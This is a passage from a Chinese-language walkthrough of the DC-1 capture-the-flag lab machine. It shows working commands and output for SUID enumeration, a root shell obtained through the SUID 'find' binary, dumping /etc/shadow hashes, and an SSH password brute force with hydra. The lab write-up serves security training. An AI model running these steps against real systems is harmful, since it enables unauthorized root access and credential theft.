[*] Url: http://192.168.56.102/?q=node&destination=no de步骤6 flag3发现
用这个用户和密码登陆网页，可以轻松发现flag3
步骤7 提升权限
分析flag3的内容。提示我们应该要查看shadow文件，在查看文件前要获得提权。
mysql> exit;
exit;
Bye
www-data@DC-1:/$ find / -perm -4000
find / -perm -4000
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
find: `/proc/5069/task/5069/fd/6': No such file or directory
find: `/proc/5069/task/5069/fdinfo/6': No such file or directory
find: `/proc/5069/fd/6': No such file or directory
find: `/proc/5069/fdinfo/6': No such file or directory可以使用find命令提权root
www-data@DC-1:/$ find ./ aaa -exec '/bin/sh' \;
find ./ aaa -exec '/bin/sh' \;
# cat /etc/shadow
cat /etc/shadow
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::
步骤8 flag4发现
发现了flag4用户，很明显信息就在这用户的空间里，但是密码是强加密的无法直接破解。准备用爆破的方法获取密码。
┌──(root??kali)-[/zyy]
└─# hydra -l flag4 -P /zyy/passwdlist.lst ssh://192.168.56.102
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-18 03:21:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:0), ~5 try per task
[DATA] attacking ssh://192.168.56.102:22/
[22][ssh] host: 192.168.56.102 login: flag4 password: orange
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-18 03:21:29爆破得到了flag4的密码是orange。用该账号密码登陆，可以轻松找到flag4.txt。
┌──(root??kali)-[/zyy]
└─# ssh [email protected]
The authenticity of host '192.168.56.102 (192.168.56.102)' can't be established.
ECDSA key fingerprint is SHA256:89B+YqcNl4cSf/BZk26MQG1QeW4BvBlVENMbTRhVhsU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.56.102' (ECDSA) to the list of known hosts.
[email protected]'s password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 17 17:50:35 2020
flag4@DC-1:~$ cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?步骤9 找到thefinalflag
根据提示，应该把获得root权限作为下一个目标，而且应该直接就能找到。而此时明显是普通用户，因此我们可以再用一遍find提权，转过头发现步骤7的窗口还开着，那就直接进去找thefinalflag吧。那就直接进去找吧。
# cd /root
cd /root
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
至此，DC-1靶机的五个flag都找到了。